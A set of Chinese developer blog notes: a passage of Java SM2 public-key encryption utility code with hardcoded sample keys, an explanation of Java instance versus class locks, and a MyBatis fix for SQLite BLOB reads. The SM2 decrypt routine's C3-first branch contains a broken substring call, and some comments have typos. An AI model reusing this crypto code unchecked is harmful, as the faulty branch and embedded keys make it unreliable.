        ECPublicKeyParameters ecpub = (ECPublicKeyParameters) key.getPublic();
        BigInteger privateKey = ecpriv.getD();
        ECPoint publicKey = ecpub.getQ();

        System.out.println("公钥: " + Util.byteToHex(publicKey.getEncoded()));
        System.out.println("私钥: " + Util.byteToHex(privateKey.toByteArray()));
    }

    //数据加密  
    public static String encrypt(byte[] publicKey, byte[] data) throws IOException {
        if (publicKey == null || publicKey.length == 0) {
            return null;
        }

        if (data == null || data.length == 0) {
            return null;
        }

        byte[] source = new byte[data.length];
        System.arraycopy(data, 0, source, 0, data.length);

        Cipher cipher = new Cipher();
        SM2 sm2 = SM2.Instance();
        ECPoint userKey = sm2.ecc_curve.decodePoint(publicKey);

        ECPoint c1 = cipher.Init_enc(sm2, userKey);
        cipher.Encrypt(source);
        byte[] c3 = new byte[32];
        cipher.doFinal(c3);

//      System.out.println("C1 " + Util.byteToHex(c1.getEncoded()));  
//      System.out.println("C2 " + Util.byteToHex(source));  
//      System.out.println("C3 " + Util.byteToHex(c3));  
        //C1 C2 C3拼装成加密字串  
        return Util.byteToHex(c1.getEncoded()) + Util.byteToHex(source) + Util.byteToHex(c3);

    }

    //数据解密
    //c3InFront 硬件为了方便加解密数据,把定长的C3放在变长的C2前面,由默认的C1C2C3调整成C1C3C2的格式
    public static byte[] decrypt(byte[] privateKey, byte[] encryptedData, boolean c3InFront) throws IOException {
        if (privateKey == null || privateKey.length == 0) {
            return null;
        }

        if (encryptedData == null || encryptedData.length == 0) {
            return null;
        }
        //加密字节数组转换为十六进制的字符串 长度变为encryptedData.length * 2  
        String data = Util.byteToHex(encryptedData);
        /***分解加密字串 
         * (C1 = C1标志位2位 + C1实体部分128位 = 130) 
         * (C3 = C3实体部分64位  = 64) 
         * (C2 = encryptedData.length * 2 - C1长度  - C2长度) 
         */
        byte[] c1Bytes = Util.hexToByte(data.substring(0, 130));
        byte[] c2;
        byte[] c3; 
        if (c3InFront) {
            c3 = Util.hexToByte(data.substring(130, 64));
            c2 = Util.hexToByte(data.substring(130 + 64));
        } else {
            /***C1 || C2 || C3 的意思就是拼在一起,而不是做什么或运算
             * 
             * 根据国密推荐的SM2椭圆曲线公钥密码算法,首先产生随机数计算出曲线点C1,
             * 2个32byte的BIGNUM大数,即为SM2加密结果的第1部分(C1)。
             * 第2部分则是真正的密文,是对明文的加密结果,长度和明文一样(C2)。
             * 第3部分是杂凑值,用来效验数据(C3)。按国密推荐的256位椭圆曲线,
             * 明文加密结果比原长度会大97byte(C1使用EC_POINT_point2oct转换)。
             * 
             */
            int c2Len = encryptedData.length - 97;
            c2 = Util.hexToByte(data.substring(130, 130 + 2 * c2Len));
            c3 = Util.hexToByte(data.substring(130 + 2 * c2Len, 194 + 2 * c2Len));
        }
        SM2 sm2 = SM2.Instance();
        BigInteger userD = new BigInteger(1, privateKey);

        //通过C1实体字节来生成ECPoint  
        ECPoint c1 = sm2.ecc_curve.decodePoint(c1Bytes);
        Cipher cipher = new Cipher();
        cipher.Init_dec(userD, c1);
        cipher.Decrypt(c2);
        cipher.doFinal(c3);

        //返回解密结果  
        return c2;
    }

    public static void main(String[] args) throws Exception {
        //生成密钥对  
        generateKeyPair();

        String plainText = "ererfeiisgod";
        byte[] sourceData = plainText.getBytes();

        //下面的秘钥可以使用generateKeyPair()生成的秘钥内容  
        // 国密规范正式私钥  
        String prik = "3690655E33D5EA3D9A4AE1A1ADD766FDEA045CDEAA43A9206FB8C430CEFE0D94";
        // 国密规范正式公钥  
        String pubk = "04F6E0C3345AE42B51E06BF50B98834988D54EBC7460FE135A48171BC0629EAE205EEDE253A530608178A98F1E19BB737302813BA39ED3FA3C51639D7A20C7391A";

        System.out.println("加密: ");
        String cipherText = SM2Utils.encrypt(Util.hexToByte(pubk), sourceData);
        System.out.println(cipherText);
        System.out.println("解密: ");
        plainText = new String(SM2Utils.decrypt(Util.hexToByte(prik), Util.hexToByte(cipherText), false));
        System.out.println(plainText);

    }
}
import java.math.BigInteger;

public class Util {
    /**
     * 用于建立十六进制字符的输出的小写字符数组
     */
    private static final char[] DIGITS_LOWER = {'0', '1', '2', '3', '4', '5',
            '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
    /**
     * 用于建立十六进制字符的输出的大写字符数组
     */
    private static final char[] DIGITS_UPPER = {'0', '1', '2', '3', '4', '5',
            '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};

    /**
     * 整形转换成网络传输的字节流(字节数组)型数据
     *
     * @param num 一个整型数据
     * @return 4个字节的自己数组
     */
    public static byte[] intToBytes(int num) {
        byte[] bytes = new byte[4];
        bytes[0] = (byte) (0xff & (num >> 0));
        bytes[1] = (byte) (0xff & (num >> 8));
        bytes[2] = (byte) (0xff & (num >> 16));
        bytes[3] = (byte) (0xff & (num >> 24));
        return bytes;
    }

    /**
     * 四个字节的字节数据转换成一个整形数据
     *
     * @param bytes 4个字节的字节数组
     * @return 一个整型数据
     */
    public static int byteToInt(byte[] bytes) {
        int num = 0;
        int temp;
        temp = (0x000000ff & (bytes[0])) << 0;
        num = num | temp;
        temp = (0x000000ff & (bytes[1])) << 8;
        num = num | temp;
        temp = (0x000000ff & (bytes[2])) << 16;
        num = num | temp;
        temp = (0x000000ff & (bytes[3])) << 24;
        num = num | temp;
        return num;
    }

    /**
     * 长整形转换成网络传输的字节流(字节数组)型数据
     *
     * @param num 一个长整型数据
     * @return 4个字节的自己数组
     */
    public static byte[] longToBytes(long num) {
        byte[] bytes = new byte[8];
        for (int i = 0; i < 8; i++) {
            bytes[i] = (byte) (0xff & (num >> (i * 8)));
        }

        return bytes;
    }

    /**
     * 大数字转换字节流(字节数组)型数据
     *
     * @param n
     * @return
     */
    public static byte[] byteConvert32Bytes(BigInteger n) {
        byte[] tmpd = null;
        if (n == null) {
            return null;
        }

        if (n.toByteArray().length == 33) {
            tmpd = new byte[32];
            System.arraycopy(n.toByteArray(), 1, tmpd, 0, 32);
        } else if (n.toByteArray().length == 32) {
            tmpd = n.toByteArray();
        } else {
            tmpd = new byte[32];
            for (int i = 0; i < 32 - n.toByteArray().length; i++) {
                tmpd[i] = 0;
            }
            System.arraycopy(n.toByteArray(), 0, tmpd, 32 - n.toByteArray().length, n.toByteArray().length);
        }
        return tmpd;
    }

    /**
     * 换字节流(字节数组)型数据转大数字
     *
     * @param b
     * @return
     */
    public static BigInteger byteConvertInteger(byte[] b) {
        if (b[0] < 0) {
            byte[] temp = new byte[b.length + 1];
            temp[0] = 0;
            System.arraycopy(b, 0, temp, 1, b.length);
            return new BigInteger(temp);
        }
        return new BigInteger(b);
    }

    /**
     * 根据字节数组获得值(十六进制数字)
     *
     * @param bytes
     * @return
     */
    public static String getHexString(byte[] bytes) {
        return getHexString(bytes, true);
    }

    /**
     * 根据字节数组获得值(十六进制数字)
     *
     * @param bytes
     * @param upperCase
     * @return
     */
    public static String getHexString(byte[] bytes, boolean upperCase) {
        String ret = "";
        for (int i = 0; i < bytes.length; i++) {
            ret += Integer.toString((bytes[i] & 0xff) + 0x100, 16).substring(1);
        }
        return upperCase ? ret.toUpperCase() : ret;
    }

    /**
     * 打印十六进制字符串
     *
     * @param bytes
     */
    public static void printHexString(byte[] bytes) {
        for (int i = 0; i < bytes.length; i++) {
            String hex = Integer.toHexString(bytes[i] & 0xFF);
            if (hex.length() == 1) {
                hex = '0' + hex;
            }
            System.out.print("0x" + hex.toUpperCase() + ",");
        }
        System.out.println();
    }

    /**
     * Convert hex string to byte[]
     *
     * @param hexString the hex string
     * @return byte[]
     */
    public static byte[] hexStringToBytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }

        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    /**
     * Convert char to byte
     *
     * @param c char
     * @return byte
     */
    public static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }

    /**
     * 将字节数组转换为十六进制字符数组
     *
     * @param data byte[]
     * @return 十六进制char[]
     */
    public static char[] encodeHex(byte[] data) {
        return encodeHex(data, true);
    }

    /**
     * 将字节数组转换为十六进制字符数组
     *
     * @param data        byte[]
     * @param toLowerCase <code>true</code> 传换成小写格式 , <code>false</code> 传换成大写格式
     * @return 十六进制char[]
     */
    public static char[] encodeHex(byte[] data, boolean toLowerCase) {
        return encodeHex(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER);
    }

    /**
     * 将字节数组转换为十六进制字符数组
     *
     * @param data     byte[]
     * @param toDigits 用于控制输出的char[]
     * @return 十六进制char[]
     */
    protected static char[] encodeHex(byte[] data, char[] toDigits) {
        int l = data.length;
        char[] out = new char[l << 1];
        // two characters form the hex value.
        for (int i = 0, j = 0; i < l; i++) {
            out[j++] = toDigits[(0xF0 & data[i]) >>> 4];
            out[j++] = toDigits[0x0F & data[i]];
        }
        return out;
    }

    /**
     * 将字节数组转换为十六进制字符串
     *
     * @param data byte[]
     * @return 十六进制String
     */
    public static String encodeHexString(byte[] data) {
        return encodeHexString(data, true);
    }

    /**
     * 将字节数组转换为十六进制字符串
     *
     * @param data        byte[]
     * @param toLowerCase <code>true</code> 传换成小写格式 , <code>false</code> 传换成大写格式
     * @return 十六进制String
     */
    public static String encodeHexString(byte[] data, boolean toLowerCase) {
        return encodeHexString(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER);
    }

    /**
     * 将字节数组转换为十六进制字符串
     *
     * @param data     byte[]
     * @param toDigits 用于控制输出的char[]
     * @return 十六进制String
     */
    protected static String encodeHexString(byte[] data, char[] toDigits) {
        return new String(encodeHex(data, toDigits));
    }

    /**
     * 将十六进制字符数组转换为字节数组
     *
     * @param data 十六进制char[]
     * @return byte[]
     * @throws RuntimeException 如果源十六进制字符数组是一个奇怪的长度,将抛出运行时异常
     */
    public static byte[] decodeHex(char[] data) {
        int len = data.length;

        if ((len & 0x01) != 0) {
            throw new RuntimeException("Odd number of characters.");
        }

        byte[] out = new byte[len >> 1];

        // two characters form the hex value.
        for (int i = 0, j = 0; j < len; i++) {
            int f = toDigit(data[j], j) << 4;
            j++;
            f = f | toDigit(data[j], j);
            j++;
            out[i] = (byte) (f & 0xFF);
        }

        return out;
    }

    /**
     * 将十六进制字符转换成一个整数
     *
     * @param ch    十六进制char
     * @param index 十六进制字符在字符数组中的位置
     * @return 一个整数
     * @throws RuntimeException 当ch不是一个合法的十六进制字符时,抛出运行时异常
     */
    protected static int toDigit(char ch, int index) {
        int digit = Character.digit(ch, 16);
        if (digit == -1) {
            throw new RuntimeException("Illegal hexadecimal character " + ch
                    + " at index " + index);
        }
        return digit;
    }

    /**
     * 数字字符串转ASCII码字符串
     *
     * @param content 字符串
     * @return ASCII字符串
     */
    public static String StringToAsciiString(String content) {
        String result = "";
        int max = content.length();
        for (int i = 0; i < max; i++) {
            char c = content.charAt(i);
            String b = Integer.toHexString(c);
            result = result + b;
        }
        return result;
    }

    /**
     * 十六进制转字符串
     *
     * @param hexString  十六进制字符串
     * @param encodeType 编码类型4:Unicode,2:普通编码
     * @return 字符串
     */
    public static String hexStringToString(String hexString, int encodeType) {
        String result = "";
        int max = hexString.length() / encodeType;
        for (int i = 0; i < max; i++) {
            char c = (char) hexStringToAlgorism(hexString
                    .substring(i * encodeType, (i + 1) * encodeType));
            result += c;
        }
        return result;
    }

    /**
     * 十六进制字符串装十进制
     *
     * @param hex 十六进制字符串
     * @return 十进制数值
     */
    public static int hexStringToAlgorism(String hex) {
        hex = hex.toUpperCase();
        int max = hex.length();
        int result = 0;
        for (int i = max; i > 0; i--) {
            char c = hex.charAt(i - 1);
            int algorism = 0;
            if (c >= '0' && c <= '9') {
                algorism = c - '0';
            } else {
                algorism = c - 55;
            }
            result += Math.pow(16, max - i) * algorism;
        }
        return result;
    }

    /**
     * 十六转二进制
     *
     * @param hex 十六进制字符串
     * @return 二进制字符串
     */
    public static String hexStringToBinary(String hex) {
        hex = hex.toUpperCase();
        String result = "";
        int max = hex.length();
        for (int i = 0; i < max; i++) {
            char c = hex.charAt(i);
            switch (c) {
                case '0':
                    result += "0000";
                    break;
                case '1':
                    result += "0001";
                    break;
                case '2':
                    result += "0010";
                    break;
                case '3':
                    result += "0011";
                    break;
                case '4':
                    result += "0100";
                    break;
                case '5':
                    result += "0101";
                    break;
                case '6':
                    result += "0110";
                    break;
                case '7':
                    result += "0111";
                    break;
                case '8':
                    result += "1000";
                    break;
                case '9':
                    result += "1001";
                    break;
                case 'A':
                    result += "1010";
                    break;
                case 'B':
                    result += "1011";
                    break;
                case 'C':
                    result += "1100";
                    break;
                case 'D':
                    result += "1101";
                    break;
                case 'E':
                    result += "1110";
                    break;
                case 'F':
                    result += "1111";
                    break;
            }
        }
        return result;
    }

    /**
     * ASCII码字符串转数字字符串
     *
     * @param content ASCII字符串
     * @return 字符串
     */
    public static String AsciiStringToString(String content) {
        String result = "";
        int length = content.length() / 2;
        for (int i = 0; i < length; i++) {
            String c = content.substring(i * 2, i * 2 + 2);
            int a = hexStringToAlgorism(c);
            char b = (char) a;
            String d = String.valueOf(b);
            result += d;
        }
        return result;
    }

    /**
     * 将十进制转换为指定长度的十六进制字符串
     *
     * @param algorism  int 十进制数字
     * @param maxLength int 转换后的十六进制字符串长度
     * @return String 转换后的十六进制字符串
     */
    public static String algorismToHexString(int algorism, int maxLength) {
        String result = "";
        result = Integer.toHexString(algorism);

        if (result.length() % 2 == 1) {
            result = "0" + result;
        }
        return patchHexString(result.toUpperCase(), maxLength);
    }

    /**
     * 字节数组转为普通字符串(ASCII对应的字符)
     *
     * @param bytearray byte[]
     * @return String
     */
    public static String byteToString(byte[] bytearray) {
        String result = "";
        char temp;

        int length = bytearray.length;
        for (int i = 0; i < length; i++) {
            temp = (char) bytearray[i];
            result += temp;
        }
        return result;
    }

    /**
     * 二进制字符串转十进制
     *
     * @param binary 二进制字符串
     * @return 十进制数值
     */
    public static int binaryToAlgorism(String binary) {
        int max = binary.length();
        int result = 0;
        for (int i = max; i > 0; i--) {
            char c = binary.charAt(i - 1);
            int algorism = c - '0';
            result += Math.pow(2, max - i) * algorism;
        }
        return result;
    }

    /**
     * 十进制转换为十六进制字符串
     *
     * @param algorism int 十进制的数字
     * @return String 对应的十六进制字符串
     */
    public static String algorismToHEXString(int algorism) {
        String result = "";
        result = Integer.toHexString(algorism);

        if (result.length() % 2 == 1) {
            result = "0" + result;

        }
        result = result.toUpperCase();

        return result;
    }

    /**
     * HEX字符串前补0,主要用于长度位数不足。
     *
     * @param str       String 需要补充长度的十六进制字符串
     * @param maxLength int 补充后十六进制字符串的长度
     * @return 补充结果
     */
    static public String patchHexString(String str, int maxLength) {
        String temp = "";
        for (int i = 0; i < maxLength - str.length(); i++) {
            temp = "0" + temp;
        }
        str = (temp + str).substring(0, maxLength);
        return str;
    }

    /**
     * 将一个字符串转换为int
     *
     * @param s          String 要转换的字符串
     * @param defaultInt int 如果出现异常,默认返回的数字
     * @param radix      int 要转换的字符串是什么进制的,如16 8 10.
     * @return int 转换后的数字
     */
    public static int parseToInt(String s, int defaultInt, int radix) {
        int i = 0;
        try {
            i = Integer.parseInt(s, radix);
        } catch (NumberFormatException ex) {
            i = defaultInt;
        }
        return i;
    }

    /**
     * 将一个十进制形式的数字字符串转换为int
     *
     * @param s          String 要转换的字符串
     * @param defaultInt int 如果出现异常,默认返回的数字
     * @return int 转换后的数字
     */
    public static int parseToInt(String s, int defaultInt) {
        int i = 0;
        try {
            i = Integer.parseInt(s);
        } catch (NumberFormatException ex) {
            i = defaultInt;
        }
        return i;
    }

    /**
     * 十六进制串转化为byte数组
     *
     * @return the array of byte
     */
    public static byte[] hexToByte(String hex)
            throws IllegalArgumentException {
        if (hex.length() % 2 != 0) {
            throw new IllegalArgumentException();
        }
        char[] arr = hex.toCharArray();
        byte[] b = new byte[hex.length() / 2];
        for (int i = 0, j = 0, l = hex.length(); i < l; i++, j++) {
            String swap = "" + arr[i++] + arr[i];
            int byteint = Integer.parseInt(swap, 16) & 0xFF;
            b[j] = new Integer(byteint).byteValue();
        }
        return b;
    }

    /**
     * 字节数组转换为十六进制字符串
     *
     * @param b byte[] 需要转换的字节数组
     * @return String 十六进制字符串
     */
    public static String byteToHex(byte[] b) {
        if (b == null) {
            throw new IllegalArgumentException(
                    "Argument b ( byte array ) is null! ");
        }
        String hs = "";
        String stmp = "";
        for (int n = 0; n < b.length; n++) {
            stmp = Integer.toHexString(b[n] & 0xff);
            if (stmp.length() == 1) {
                hs = hs + "0" + stmp;
            } else {
                hs = hs + stmp;
            }
        }
        return hs.toUpperCase();
    }

    public static byte[] subByte(byte[] input, int startIndex, int length) {
        byte[] bt = new byte[length];
        for (int i = 0; i < length; i++) {
            bt[i] = input[i + startIndex];
        }
        return bt;
    }
}

注意

  • 根据国密推荐的SM2椭圆曲线公钥密码算法,首先产生随机数计算出曲线点C1,2个32byte的BIGNUM大数,即为SM2加密结果的第1部分(C1)。第2部分则是真正的密文,是对明文的加密结果,长度和明文一样(C2)。第3部分是杂凑值,用来效验数据(C3)。按国密推荐的256位椭圆曲线,明文加密结果比原长度会大97byte(C1使用EC_POINT_point2oct转换)。

我们可以利用 密文,长度和明文一样(C2)这个原理,来跟踪现实中的调试问题,我们在没办法解密用户输入数据的内容的情况下,可以知道用户输入内容的长度,也能辅助我们解决很多调试问题。

上述的代码还可参考 Java—bouncycastle支持国密SM2的公钥加密算法

参考链接


synchronized全局锁和实例锁的区别

实例锁 -- 锁在某一个实例对象上。如果该类是单例,那么该锁也具有全局锁的概念。
               实例锁对应的就是synchronized关键字。
全局锁 -- 该锁针对的是类,无论实例多少个对象,那么线程都共享该锁。
               全局锁对应的就是static synchronized(或者是锁在该类的class或者classloader对象上)。

关于“实例锁”和“全局锁”有一个很形象的例子:

pulbic class Something {
    public synchronized void isSyncA(){}

    public synchronized void isSyncB(){}

    public static synchronized void cSyncA(){}

    public static synchronized void cSyncB(){}
}

假设,Something有两个实例xy。分析下面4组表达式获取的锁的情况。
(01) x.isSyncA()与x.isSyncB() 
(02) x.isSyncA()与y.isSyncA()
(03) x.cSyncA()与y.cSyncB()
(04) x.isSyncA()与Something.cSyncA()

(01) 不能被同时访问。因为isSyncA()isSyncB()都是访问同一个对象(对象x)的同步锁!

(02) 可以同时被访问。因为访问的不是同一个对象的同步锁,x.isSyncA()访问的是x的同步锁,而y.isSyncA()访问的是y的同步锁。

(03) 不能被同时访问。因为cSyncA()cSyncB()都是static类型,x.cSyncA()相当于Something.isSyncA()y.cSyncB()相当于Something.isSyncB(),因此它们共用一个同步锁,不能被同时反问。

(04) 可以被同时访问。因为isSyncA()是实例方法,x.isSyncA()使用的是对象x的锁;而cSyncA()是静态方法,Something.cSyncA()可以理解对使用的是“类的锁”。因此,它们是可以被同时访问的。

参考链接


mybaties连接sqlite,并读取blob类型数据时,报错 java.sql.SQLFeatureNotSupportedException

java.sql.SQLException: not implemented by SQLite JDBC driver

错误,或者如下错误:

2021-06-03 09:25:20.435 ERROR 15643 --- [nio-8080-exec-7] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.apache.ibatis.exceptions.PersistenceException: 
### Error querying database.  Cause: org.apache.ibatis.executor.result.ResultMapException: Error attempting to get column 'appIcon' from result set.  Cause: java.sql.SQLFeatureNotSupportedException
### The error may exist in xxxx.java (best guess)
### The error may involve xxx.select
### The error occurred while handling results
### SQL: SELECT * FROM xxx WHERE id=?
### Cause: org.apache.ibatis.executor.result.ResultMapException: Error attempting to get column 'appIcon' from result set.  Cause: java.sql.SQLFeatureNotSupportedException] with root cause

场景:
具体需求,要求像springboot连接mysql或者pgsql数据库一样,在application配置文件中配置sqlite数据库信息,并实现对blob类型数据(我们的库中有该类型的数据)的读写,按照平常一样写好controller、service、dao、mapper.xml后,执行查询操作后报错

原因分析:
sqlite的driver中,JDBC4ResultSet没有实现以下接口:

public Blob getBlob(int col)
throws SQLException { throw unused(); }
public Blob getBlob(String col)
throws SQLException { throw unused(); }

而是直接抛出了异常。
解决方法:
mapper.xml中该字段的设置:

<select id="queryByList" resultMap="queryBaseResultMap">
    select * from my_blob 
</select>
<resultMap id="queryBaseResultMap" type="com.wx.model.MyBlob" >
    <id column="Id" property="id" jdbcType="INTEGER" />
    <result column="blob" property="blob" typeHandler="com.wx.handler.BlobTypeHandler"/> 
</resultMap>

即blob字段加个typeHandler属性。
然后自定义一个BlobTypeHandler处理类:

public class BlobTypeHandler extends BaseTypeHandler<byte[]> {

    @Override
    public void setNonNullParameter(PreparedStatement ps, int i, byte[] parameter, JdbcType jdbcType) throws SQLException {
        ps.setBytes(i, parameter);
    }

    @Override
    public byte[] getNullableResult(ResultSet rs, String columnName) throws SQLException {
        return rs.getBytes(columnName);
    }

    @Override
    public byte[] getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
        return rs.getBytes(columnIndex);
    }

    @Override
    public byte[] getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
        return cs.getBytes(columnIndex);
    }
}

注意:实体类中blob字段类型是byte[]。

参考链接


mybaties连接sqlite,并读取blob类型数据时,报 java.sql.SQLException: not implemented by SQLite JDBC driver错误